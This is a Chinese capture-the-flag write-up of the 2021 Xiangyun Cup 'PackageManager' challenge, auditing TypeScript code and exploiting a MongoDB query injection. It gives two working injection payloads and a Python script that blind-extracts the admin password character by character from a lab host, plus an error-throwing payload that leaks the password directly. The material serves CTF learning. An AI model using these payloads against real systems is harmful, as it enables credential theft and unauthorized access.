2021祥云杯-PackageManager
知识点概要:MongoDB盲注、TypeScript代码审计
首页
题目源码结构:
后缀.ts是TypeScript语言
从init_db.ts导入mongoose模块看出是MongoDB数据库,且flag被初始化在admin用户的数据库信息里
看如下路由文件routes/index.ts
和checkmd5Regex()
函数代码,/auth
路由token可控,存在注入
原因有二:
1.if (checkmd5Regex(token))
中checkmd5Regex()
函数的正则可以轻松绕过,使得if判断恒为真;
2.${token.toString()}
被直接拼接到查询语句中
思路一
构造token
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[0]=="a
使得查询条件如下,此时只需this.password[0]=="a"
为真,就为真
this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[0]=="a"
那么依次类推,可以判断password的每一位字符,也就是盲注思想,根据请求包写脚本
访问/auth
路由页面
Token文本框随便填入test提交,抓包
请求包构造主要就是Cookie和POST数据
为了判断字符匹配正确时的响应包特征,可以先Burp爆破一位出来

可看到,字符正确时,响应页面有特征字符串Found. Redirecting to
综上,脚本如下
import requests
import string
url="http://ef3a4031-fb8f-4859-bd29-256b01ff55ce.node4.buuoj.cn:81/auth"
headers={
"Cookie": "session=s%3AUOifhSNPicItpLjF9bQgYM9roPiXrAED.q%2Frul3zuUNV0sCp0Zu5s1UH68ubuay957RQHuEWqFlc"
}
flag = ''
for i in range(32):
print(i)
for j in string.printable:
data={
"_csrf": "LEuV2E4F-7JN0Tv4LSue5dLosO0Stdu-SvQA",
"token": 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
}
r = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
if "Found. Redirecting to" in r.text:
flag = flag+j
print(flag)
break
运行结果
登录即可看到flag
思路二
利用js的抛出异常和IIFE(立即调用函数表达式)来实现
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="
拼接到查询条件如下
this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()==""
解释:
(()=>{...})
定义了一个匿名箭头函数
{throw Error(this.password)}
函数体中使用throw Error抛出错误,并将password作为错误消息
()
表示立即执行这个匿名函数
执行结果如下